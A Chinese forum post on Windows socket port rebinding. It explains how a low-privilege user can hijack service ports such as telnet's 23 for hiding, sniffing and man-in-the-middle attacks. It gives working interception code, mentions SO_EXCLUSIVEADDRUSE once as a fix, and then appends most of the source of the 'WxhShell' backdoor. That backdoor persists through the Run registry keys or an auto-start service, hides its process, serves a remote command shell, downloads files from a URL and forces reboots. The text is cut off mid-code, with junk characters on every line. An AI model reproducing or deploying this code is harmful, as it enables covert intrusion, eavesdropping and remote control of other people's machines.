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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: e"O c  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 3JJEj1O  
l}MVk%[  
  saddr.sin_family = AF_INET; <tx`#,  
'YTSakNJ}  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); cWS 0B $$  
3F ]30  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Xdtyer%  
>Xv Fg  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ;5PBZ<w  
ews{0  
  这意味着什么?意味着可以进行如下的攻击: xjK@Q1MJ  
FX,kmre3  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 F+ Q(^Nk  
e[l#r>NT  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) W|-<ekH_u  
>,}SP;  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 DT#F?@LG(  
rMEM$1vPU  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  e61e|hoX\  
6s(.u l  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 jWNF3\  
w6&p4Jw/H?  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 X 3q2XU  
$;VY`n  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 yp l`vJ]X  
PDNbhUAV  
  #include XkRPD  
  #include }>$3B5}  
  #include '<-F3  
  #include    ag{cm'.  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Bm4fdf#A]  
  int main() He)vl.  
  { UR<a7j"@2  
  WORD wVersionRequested; y^[?F>wB  
  DWORD ret; X]+z:!  
  WSADATA wsaData; M T]2n{e  
  BOOL val; iOXsj  
  SOCKADDR_IN saddr; %2,'x  
  SOCKADDR_IN scaddr; C7Ny-rj}IA  
  int err; khe.+Qfgj  
  SOCKET s; F~;UD<<"H  
  SOCKET sc; CX3yIe~u  
  int caddsize; Y.Zd_,qy  
  HANDLE mt; qS+;u`s  
  DWORD tid;   eT".psRiC  
  wVersionRequested = MAKEWORD( 2, 2 ); NbU`_^oC  
  err = WSAStartup( wVersionRequested, &wsaData ); bXnUz?1!d  
  if ( err != 0 ) { _cs(f<>oCO  
  printf("error!WSAStartup failed!\n"); e3; &  
  return -1; l)[|wPf  
  } 1<BKTMBq?{  
  saddr.sin_family = AF_INET; .kBkYK8*t  
   {1Ra |,;  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 h~k<"  
Gw<D'b)!  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 27D*FItc  
  saddr.sin_port = htons(23); {}YA7M:L  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) L\2"1%8Wj  
  { 4{uQ}ea  
  printf("error!socket failed!\n"); N55F5  
  return -1; 6j|Ncv  
  } _X4Y1zh  
  val = TRUE; Nu"v .]Y2  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 2&4nf/sE  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Km(i}:6"  
  { G]ek-[-  
  printf("error!setsockopt failed!\n"); {^dq7!  
  return -1; oK\zyNK  
  } k9x[( #  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; g5nJ0=9  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ^!\1q<@n  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 u4Nh_x8\Nr  
qf x*a88  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) `}?;Ow&2CY  
  { 12Oa_6<\0;  
  ret=GetLastError(); ~!Nj DDk  
  printf("error!bind failed!\n"); n2mO-ZXud  
  return -1; %/Wk+r9uu  
  } ,&UKsrs_  
  listen(s,2); K KB+o)*W  
  while(1) Ok_}d&A  
  { * 1;4&/93o  
  caddsize = sizeof(scaddr); &gp&i?%X9b  
  //接受连接请求 PMytk`<`zw  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); V5K/)\#  
  if(sc!=INVALID_SOCKET) y u'-'{%  
  { Yg8* )u0  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); H'k}/<%Q  
  if(mt==NULL) |cU75 S1  
  { !_ W/p`Tc  
  printf("Thread Creat Failed!\n"); G3DgB!  
  break; 2f[;U"  
  } 3jAr"xc  
  } vIRT$W' O}  
  CloseHandle(mt); Cy[G7A%  
  } }b\hRy~=r  
  closesocket(s); @R5^J{T  
  WSACleanup(); T [SK>z  
  return 0; v[Q)L!J1  
  }    T01Iu  
  DWORD WINAPI ClientThread(LPVOID lpParam) =^KgNQ   
  { Nm"P8/-09  
  SOCKET ss = (SOCKET)lpParam; ^VXhv9\>B  
  SOCKET sc; `6~0W5  
  unsigned char buf[4096]; ~q3O,bb{   
  SOCKADDR_IN saddr; Rn?JMM]  
  long num; y > =Y  
  DWORD val; D./{f8  
  DWORD ret; u+j\PWOtm  
  //如果是隐藏端口应用的话,可以在此处加一些判断 lEHx/#qt9  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   UH MJ(.Wa-  
  saddr.sin_family = AF_INET; /9pxEidVAS  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Z[nHo'  
  saddr.sin_port = htons(23); ~z:]rgX  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _Ay^v#a  
  { 5mZ2CDV  
  printf("error!socket failed!\n"); q}Q G<%VR  
  return -1; i%FC lMF  
  } Eiu/p&ct  
  val = 100; t$$YiO  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #^L&H oo6  
  { _RaE: )  
  ret = GetLastError(); p-i Fe\+  
  return -1; ;}E}N:A  
  } {IgH0+z  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) iE''>Z  
  { ?>B?*IK!  
  ret = GetLastError(); WK6,K92  
  return -1; F-s{#V1=  
  } ?z.?(xZ 6  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) <YW)8J  
  { BzfR8mD  
  printf("error!socket connect failed!\n"); ;<M}ZL@m  
  closesocket(sc); 1%v6d !  
  closesocket(ss); ~3.*b% ,  
  return -1; KM;H '~PZi  
  } Rt?CE jy  
  while(1) 66& uK|  
  { f- XUto  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 VNTbjn]  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 x#`p.sfVo  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 8H4NNj Oy  
  num = recv(ss,buf,4096,0); tBGLEeL/.  
  if(num>0) *<sc[..)  
  send(sc,buf,num,0); )9nW`d+  
  else if(num==0) *,z/q6  
  break; 1L*[!QT4  
  num = recv(sc,buf,4096,0); i3 eF_  
  if(num>0) vcFR Td  
  send(ss,buf,num,0); c K\   
  else if(num==0) Wo "s;Z  
  break; >8"(go+02  
  } 1gV?}'jq  
  closesocket(ss); \1Y|$:T/  
  closesocket(sc); h}a}HabA  
  return 0 ; @/ ^< 9  
  } 59zWB,y(P  
W^8  
~-k , $J?7  
========================================================== :%h1Q>F  
U3N d\b'0  
下边附上一个代码,,WXhSHELL a(vt"MQ_  
5@xR`g-  
========================================================== _O}m0c   
q\<l"b z  
#include "stdafx.h" ;D~#|CB  
8n5~K.;<  
#include <stdio.h> =H)]HxEEM  
#include <string.h> dE"_gwtX  
#include <windows.h> Led\S;pl  
#include <winsock2.h> <OEIG 0  
#include <winsvc.h> aM $2lR])J  
#include <urlmon.h> O4X03fUx  
<<01@Q <  
#pragma comment (lib, "Ws2_32.lib") 9HJYrzf{%  
#pragma comment (lib, "urlmon.lib") 8vuTF*{yZ  
y!1X3X,V  
#define MAX_USER   100 // 最大客户端连接数 4 *}H3-`  
#define BUF_SOCK   200 // sock buffer T!,5dt8L  
#define KEY_BUFF   255 // 输入 buffer 6agq^wI  
4wSZ'RTSR  
#define REBOOT     0   // 重启 i6HRG\9nU  
#define SHUTDOWN   1   // 关机 ~+1mH  
!!Ww#x~k$[  
#define DEF_PORT   5000 // 监听端口 8p 4[:M@  
p K-tj  
#define REG_LEN     16   // 注册表键长度 YA pC|R,^  
#define SVC_LEN     80   // NT服务名长度 z6U'"T"a  
lOcFF0'  
// 从dll定义API B(M-;F  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /!0&b?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %j^QK>%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 68P'<|u?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .hH_1Mo8  
l8?C[, K%  
// wxhshell配置信息 [KBa=3>{  
struct WSCFG { DU6j0lz  
  int ws_port;         // 监听端口 R{c~jjd  
  char ws_passstr[REG_LEN]; // 口令 :PBFFLe  
  int ws_autoins;       // 安装标记, 1=yes 0=no =!L}/Dl  
  char ws_regname[REG_LEN]; // 注册表键名 /x@aAJ|  
  char ws_svcname[REG_LEN]; // 服务名 *jhgCm  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 JL G!;sov  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 SAq .W"ri  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [q%`q`EG  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *=oO3c0|b,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?jz\[0)s  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]0T*#U/P  
EeMKo  
}; 9]+zZP_#  
}IWt\a<d  
// default Wxhshell configuration 0&)6mO  
struct WSCFG wscfg={DEF_PORT, 3ux7^au  
    "xuhuanlingzhe", ,ASNa^7/>  
    1, F_0D)H)N@  
    "Wxhshell", .'o=J`|  
    "Wxhshell", Ba?1q%eG  
            "WxhShell Service", *Zg=cI@)(  
    "Wrsky Windows CmdShell Service", {Y5@SI yE  
    "Please Input Your Password: ", dBA&NW07  
  1, w/ ~\NI  
  "http://www.wrsky.com/wxhshell.exe", &-FG}|*4M  
  "Wxhshell.exe" 7~J>Ga  
    }; z&0[F`U  
~x(|'`  
// 消息定义模块 (z8ZCyq7r[  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; KWDH 35  
char *msg_ws_prompt="\n\r? for help\n\r#>"; mCt/\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +x{o  
char *msg_ws_ext="\n\rExit."; ? ch?q~e)  
char *msg_ws_end="\n\rQuit."; BegO\0%+  
char *msg_ws_boot="\n\rReboot..."; 43h06X`  
char *msg_ws_poff="\n\rShutdown..."; { Zv%DV4_$  
char *msg_ws_down="\n\rSave to "; :vIJ>6lIR  
Sr Nc  
char *msg_ws_err="\n\rErr!"; w=?nD6Xhz  
char *msg_ws_ok="\n\rOK!"; Y$XzZ>VW  
;{0alhMZ  
char ExeFile[MAX_PATH]; l?"^2in .  
int nUser = 0; ~q+AAWL  
HANDLE handles[MAX_USER]; Q?T+^J   
int OsIsNt; p#w8$Qjp  
':}9>B3 S  
SERVICE_STATUS       serviceStatus; 8F<|.V;  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {hN\=_6*EW  
p=UW ^95  
// 函数声明 Y?1T XsvF  
int Install(void); &a'mG=(K_c  
int Uninstall(void); *YH!L{y  
int DownloadFile(char *sURL, SOCKET wsh); I 2AQ G  
int Boot(int flag); $-]G6r  
void HideProc(void); i[LnU#+  
int GetOsVer(void);  1H.;r(c  
int Wxhshell(SOCKET wsl); 6oQ7u90z*  
void TalkWithClient(void *cs); ea @ H  
int CmdShell(SOCKET sock); sF)$<[w  
int StartFromService(void); GIYdI#0RC  
int StartWxhshell(LPSTR lpCmdLine); TD floDxA  
v -)<nox  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Uu+ibVM$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); jTqJ(M}L  
^m D$#  
// 数据结构和表定义 mpD.x5jm<  
SERVICE_TABLE_ENTRY DispatchTable[] = k>MXOUaW.  
{ X ]&`"Z]  
{wscfg.ws_svcname, NTServiceMain}, % +  
{NULL, NULL} Fv,c8f  
}; c]VK%zl  
! 1?u0  
// 自我安装 K)l*$h&-  
int Install(void) 3,i`FqQa  
{ 8hy1yt6t4~  
  char svExeFile[MAX_PATH]; Xo(W\Pes  
  HKEY key; ~7j-OWz9  
  strcpy(svExeFile,ExeFile); Ie Chz d  
<l,e6K  
// 如果是win9x系统,修改注册表设为自启动 hx%UZ<a  
if(!OsIsNt) { B ( h`~pb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { . P 44t  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8KP   
  RegCloseKey(key); MwD+'5   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O.Dz}[w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d_:tiHw$  
  RegCloseKey(key); ^cW{%R>XY  
  return 0; uU$/4{  
    } xPT$d,~"  
  } tIBEja^l  
} v(sS$2J|}  
else { 4K;0.W;~|  
]+^4Yq>2  
// 如果是NT以上系统,安装为系统服务 )i39'0a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]Zay9jD}c-  
if (schSCManager!=0) <;b  
{ WpI5C,3Z!l  
  SC_HANDLE schService = CreateService ou|3%&*"  
  ( [A!=Hv_$  
  schSCManager, o'P[uB/  
  wscfg.ws_svcname,  q _;#EV  
  wscfg.ws_svcdisp, aeLIs SEx  
  SERVICE_ALL_ACCESS, {[H#lX 4  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , TxkvHiq2  
  SERVICE_AUTO_START, odcrP\S  
  SERVICE_ERROR_NORMAL, V^9%+L+E5  
  svExeFile, /xA`VyHO  
  NULL, {;UBW7{  
  NULL, =o"sBVj  
  NULL, r_a1oO:  
  NULL, 5oD%~Fk l  
  NULL /KJWo0zo  
  ); [z} $G:s  
  if (schService!=0) *i7-_pT  
  { %%O_:@9x,  
  CloseServiceHandle(schService); 9Cb>J  
  CloseServiceHandle(schSCManager); \w{fq+G  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); | qf8y  
  strcat(svExeFile,wscfg.ws_svcname); v}z{OB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {}PBYX R  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?=Z0N&}[  
  RegCloseKey(key); ]7dal [i  
  return 0; M^A;tPw  
    } ##NowO  
  } E"H> [E  
  CloseServiceHandle(schSCManager); W.b?~  
} >bze0`}Z  
} Wy7w zt  
{@)ZXg  
return 1; G@`F{l  
} *}lLV.+A  
ApeqbD5g&  
// 自我卸载 ^wd@mWxx  
int Uninstall(void) ;un@E:  
{ zvdut ,6<  
  HKEY key; s{'Sl{-Eu  
^_Hf}8H7]  
if(!OsIsNt) { F6[F~^9D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XlU\D}zS  
  RegDeleteValue(key,wscfg.ws_regname); ^BA%]pe$I  
  RegCloseKey(key); ?QT6q]|d0+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %T]^,y$n  
  RegDeleteValue(key,wscfg.ws_regname); ;(/go\m tB  
  RegCloseKey(key); _P qq*  
  return 0; ]A=\P,D  
  } r9_ ON|  
} b`#YJpA  
} O68-G  
else { tjx8 UgSi  
3?*d v14  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); M<w.q|P  
if (schSCManager!=0) +112{v=!i  
{ }b(h D|e  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); H **tMq  
  if (schService!=0) H1kI+YJ@  
  { bzNnEH`^]  
  if(DeleteService(schService)!=0) { n]IF`kYQV  
  CloseServiceHandle(schService); 3E|||3rf  
  CloseServiceHandle(schSCManager); _ f%s]  
  return 0; 4<#ItQ(  
  } bu _ @>`S  
  CloseServiceHandle(schService); 8{G!OBxc\.  
  } kzRvLs4xM  
  CloseServiceHandle(schSCManager); hc|A:v)]  
} t`K9K"|k  
} >+dS PI  
cpa" ,8  
return 1; kuH%aM<R  
} / (BS<A  
kzZgNv#G;  
// 从指定url下载文件 ;\0|1Eem`  
int DownloadFile(char *sURL, SOCKET wsh) FTZ=u0  
{ S!8<|WO^t  
  HRESULT hr; iP(MDVg  
char seps[]= "/"; PuP"( M  
char *token; uy<3B>3~.  
char *file; ]2@(^x'=  
char myURL[MAX_PATH]; 9!n:hhJM  
char myFILE[MAX_PATH]; .jQx2 O  
%]LoR$|Y  
strcpy(myURL,sURL); s5@BVD'}E  
  token=strtok(myURL,seps); FFw(`[A_  
  while(token!=NULL) arm_SyL0  
  { Bo "9;F  
    file=token; zq</(5H  
  token=strtok(NULL,seps); fxcE1=a  
  } fF0K].  
W8g13oAu"  
GetCurrentDirectory(MAX_PATH,myFILE); u;t<rEC2  
strcat(myFILE, "\\"); i`sZP#h  
strcat(myFILE, file); :5~Dca_iU4  
  send(wsh,myFILE,strlen(myFILE),0); U%@PY9#  
send(wsh,"...",3,0); @:zC!dR)G  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^ `yhN  
  if(hr==S_OK) >k"O3Pc@  
return 0; d8: $ll  
else 7-B|B{]  
return 1; Ms6 ;iW9  
%_Vz0 D! 7  
} HMUx/M.j  
eW8cI)wU  
// 系统电源模块 961&rR}d  
int Boot(int flag) L8D=F7  
{ js"Yh  
  HANDLE hToken; ?/&X _O  
  TOKEN_PRIVILEGES tkp; ;b [>{Q;  
c_qox  
  if(OsIsNt) { X{#^O/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ph6/+[:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); l^R:W#*+U  
    tkp.PrivilegeCount = 1; 7{U[cG+a#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; mfZbo#KS#v  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6g-jhsW6  
if(flag==REBOOT) { *m "@*O'  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) vltE2mb  
  return 0; 3)VO{Cj!  
} Qf0P"s`  
else { <IR@/b!,  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) x%X3FbF]  
  return 0; nycJZ}f:wP  
} Eo$l-Hl5=  
  } 7x`$ A  
  else { @GAj%MK$  
if(flag==REBOOT) { |6-9vU!LK?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) XzV>q~I3|E  
  return 0; !"phz&E5ah  
} *><j(uz!  
else { %pg)*>P h  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [ x>Pf1  
  return 0; >;G_o="X  
} ;woK96"{t  
} CPa+?__B  
C,;<SV2#  
return 1; <EyJ $$  
} 8Ie0L3d-  
7202N?a {  
// win9x进程隐藏模块 9J%O$sF  
void HideProc(void) 1;./e&%%  
{ :F5(]g 7  
DDIRJd<J  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); T:Q+ Z }v+  
  if ( hKernel != NULL ) m?Jnb\0  
  { e+Mm!\ ;`  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); vIi&D;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,f>^ q"  
    FreeLibrary(hKernel); +Rd\*b  
  } S%]4['Y  
G|?V}pZ  
return; ~>]Ie~E: (  
} 6UN{Vjr%`  
f3,Xb ]h  
// 获取操作系统版本 Y edF%  
int GetOsVer(void) N+R{&v7=F%  
{ $m.'d*e5  
  OSVERSIONINFO winfo; L(y~ ,Kc  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,9:v2=C_  
  GetVersionEx(&winfo); %RIu'JXi  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ieEt C,U  
  return 1; 2Sy:wt  
  else I`{=[.c  
  return 0; ;rh =63g  
} cw BiT  
;h~kB  
// 客户端句柄模块 ojWf]$^y}  
int Wxhshell(SOCKET wsl) N:^4On VR  
{ 1{xkAy0  
  SOCKET wsh; |<YF.7r;  
  struct sockaddr_in client; } F*=+n  
  DWORD myID; cJ,`71xop,  
 9mv6  
  while(nUser<MAX_USER) HRd02tah  
{ |[bQJ<v6  
  int nSize=sizeof(client); ' #r^W2  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); G~lnX^46"  
  if(wsh==INVALID_SOCKET) return 1; 1kc{`oL  
e $5s],,n  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {>&M:_`k  
if(handles[nUser]==0) j]9,yi  
  closesocket(wsh); P_N},Xry  
else :rmi8!o  
  nUser++; sMw"C~XL  
  } s[*I210  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); G>^ _&(c@2  
OdJ=4 x>  
  return 0; 41XXL$  
} ` \-m qe  
|SsmVW$B|  
// 关闭 socket 6<Zk%[7t  
void CloseIt(SOCKET wsh) B{_-k  
{ 52Q~` t7F  
closesocket(wsh); (7P VfS>;  
nUser--; 3D rW[\  
ExitThread(0); ^#j{9FpPs  
} 7!, p,|K  
Q"{Q]IT  
// 客户端请求句柄 EG!):P  
void TalkWithClient(void *cs) Il s^t  
{ ZP7wS  
1\Vp[^#Vx  
  SOCKET wsh=(SOCKET)cs; R 9Y k9v  
  char pwd[SVC_LEN]; o,y {fv:ki  
  char cmd[KEY_BUFF]; $QuSmA<4lS  
char chr[1]; 8J#TP7;  
int i,j; ;hU~nj+{  
NIOWjhi[Jn  
  while (nUser < MAX_USER) { ,HO@bCK  
h`p9H2}0  
if(wscfg.ws_passstr) { X1~ B  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >!2d77I  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `wLa.Gzj  
  //ZeroMemory(pwd,KEY_BUFF); _S#3!Wx  
      i=0; u'EzYJ7  
  while(i<SVC_LEN) { bG9$&,  
aruT eJF  
  // 设置超时 <DM:YWNa  
  fd_set FdRead; RjCEo4b-.H  
  struct timeval TimeOut; I!-5 #bxD  
  FD_ZERO(&FdRead); < {dV=  
  FD_SET(wsh,&FdRead); 5U&?P   
  TimeOut.tv_sec=8; Ni 5Su  
  TimeOut.tv_usec=0; oT27BK26?h  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ZYX(Cf  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #AUz.WHD  
#EdsB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rn8t<=ptH3  
  pwd=chr[0]; @=1kr ^i  
  if(chr[0]==0xd || chr[0]==0xa) { 0FD+iID  
  pwd=0; KFMEY\6\h  
  break; DN;An0 {MK  
  } 14v,z;HXj  
  i++; :.M"M$MRp8  
    } Fps.Fhm  
UA}oOteG  
  // 如果是非法用户,关闭 socket }PDNW  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); wm r8[n&c  
} cU'^ Ja?%  
B}y-zj; T  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); x GHS  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =-qv[;%& 6  
lE?F Wt  
while(1) { R\wG3Oxol  
F$Q@UVA  
  ZeroMemory(cmd,KEY_BUFF); wN ![SM/+  
BK1Aq3*)  
      // 自动支持客户端 telnet标准   G_] (7  
  j=0; n3kYVAgF  
  while(j<KEY_BUFF) { iE$/ Rcp  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,4wZ/r> d  
  cmd[j]=chr[0]; w<]Wg^dyQ  
  if(chr[0]==0xa || chr[0]==0xd) { E}$K&<J'-  
  cmd[j]=0; $iA`_H`W  
  break; 0#mu[O  
  } >aZ$x/U+Iw  
  j++; i }5 #n  
    } e>kw>%3bl9  
y8KJoVP iM  
  // 下载文件 l%^'K%'b  
  if(strstr(cmd,"http://")) { >_y>["u6J#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8L?35[]e  
  if(DownloadFile(cmd,wsh)) @Ooh}V#J  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;,y9  
  else ;TK:D=p4  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oh5fNx  
  } ;!k1LfN  
  else { Y24: D7Q  
g=;c*{  
    switch(cmd[0]) { .s_wP  
  SZCF db  
  // 帮助 ESZ6<!S  
  case '?': { otXB:a  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }Jgz#d  
    break; 1_7}B4  
  } $o`N%]  
  // 安装 h!f7/) |[o  
  case 'i': { qPpC)6-Q  
    if(Install()) 1x]U&{do  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J*8fGR%  
    else L!-@dz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \HDRr*KO  
    break; }Y5Sf"~M  
    } YXJjqH3  
  // 卸载 [KR`%fD0  
  case 'r': { !9i,V{$c`"  
    if(Uninstall()) X+{4,?04+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (i7]N[  
    else 9[|Ql  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6tM CpSJ  
    break; <Ja>  
    } Xb42R1  
  // 显示 wxhshell 所在路径 "j9,3yJT  
  case 'p': { pd,5.d  
    char svExeFile[MAX_PATH]; :?{ **&=  
    strcpy(svExeFile,"\n\r"); L&lNpMT  
      strcat(svExeFile,ExeFile); b:>(U.   
        send(wsh,svExeFile,strlen(svExeFile),0); @3{'!#/  
    break; 8p7Uvn+m*  
    } JPgV7+{b[  
  // 重启 A%u-6"  
  case 'b': { -ny[Lh^b  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); k:<yy^g$X  
    if(Boot(REBOOT)) JcZs\ fl9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y1/$dn  
    else { [,-MC7>]  
    closesocket(wsh); Tm@mk  
    ExitThread(0); iD_NpH q  
    } ?DkMzR)u  
    break; 7[:9vY  
    } Jk|c!,!  
  // 关机 1Af~6jz  
  case 'd': { 9>qR6k ?  
